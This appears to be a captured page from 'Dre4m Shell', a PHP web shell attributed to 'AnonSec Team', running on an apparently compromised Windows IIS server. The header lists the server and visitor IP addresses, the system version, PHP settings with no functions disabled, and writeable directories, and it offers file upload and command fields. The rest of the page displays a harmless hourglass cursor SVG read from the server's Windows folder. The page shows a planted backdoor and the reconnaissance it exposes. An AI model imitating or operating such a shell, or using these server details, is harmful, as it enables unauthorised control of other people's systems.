Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.144.116.195
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/Cursors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/Cursors/wait.svg
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 32 32" style="enable-background:new 0 0 32 32;" xml:space="preserve">
<polygon style="fill:#FFFFFE;" points="10,25.5 22,25.5 22,21.5 18,17.5 18,15.5 22,11.5 22,6.5 10,6.5 10,11.5 14,15.5 14,17.5 
	10,21.5 "/>
<polyline style="fill:none;stroke:#000001;stroke-miterlimit:10;" points="22,25.5 22,21.5 18,17.5 18,15.5 22,11.5 22,6.5 "/>
<polyline style="fill:none;stroke:#000001;stroke-miterlimit:10;" points="10,6.5 10,11.5 14,15.5 14,17.5 10,21.5 10,25.5 "/>
<rect x="9" y="4.5" style="fill:#FFFFFE;stroke:#000001;stroke-miterlimit:10;" width="14" height="2"/>
<rect x="9" y="25.5" style="fill:#FFFFFE;stroke:#000001;stroke-miterlimit:10;" width="14" height="2"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="14.5" x2="16.5" y2="14.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="16.5" y1="13.5" x2="17.5" y2="13.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="16.5" y1="11.5" x2="17.5" y2="11.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="14.5" y1="11.5" x2="15.5" y2="11.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="10.5" x2="16.5" y2="10.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="13.5" y1="10.5" x2="14.5" y2="10.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="14.5" y1="9.5" x2="15.5" y2="9.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="16.5" y1="9.5" x2="17.5" y2="9.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="17.5" y1="10.5" x2="18.5" y2="10.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="18.5" y1="9.5" x2="19.5" y2="9.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="19.5" y1="8.5" x2="20.5" y2="8.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="17.5" y1="8.5" x2="18.5" y2="8.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="8.5" x2="16.5" y2="8.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="13.5" y1="8.5" x2="14.5" y2="8.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="12.5" y1="9.5" x2="13.5" y2="9.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="11.5" y1="8.5" x2="12.5" y2="8.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="11.5" y1="23.5" x2="12.5" y2="23.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="13.5" y1="23.5" x2="14.5" y2="23.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="23.5" x2="16.5" y2="23.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="17.5" y1="23.5" x2="18.5" y2="23.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="19.5" y1="23.5" x2="20.5" y2="23.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="12.5" y1="22.5" x2="13.5" y2="22.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="14.5" y1="22.5" x2="15.5" y2="22.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="16.5" y1="22.5" x2="17.5" y2="22.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="18.5" y1="22.5" x2="19.5" y2="22.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="13.5" y1="21.5" x2="14.5" y2="21.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="21.5" x2="16.5" y2="21.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="14.5" y1="20.5" x2="15.5" y2="20.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="16.5" y1="20.5" x2="17.5" y2="20.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="19.5" x2="16.5" y2="19.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="17.5" y1="21.5" x2="18.5" y2="21.5"/>
<line style="fill:none;stroke:#000001;stroke-miterlimit:10;" x1="15.5" y1="16.5" x2="16.5" y2="16.5"/>
</svg>

Anon7 - 2022
AnonSec Team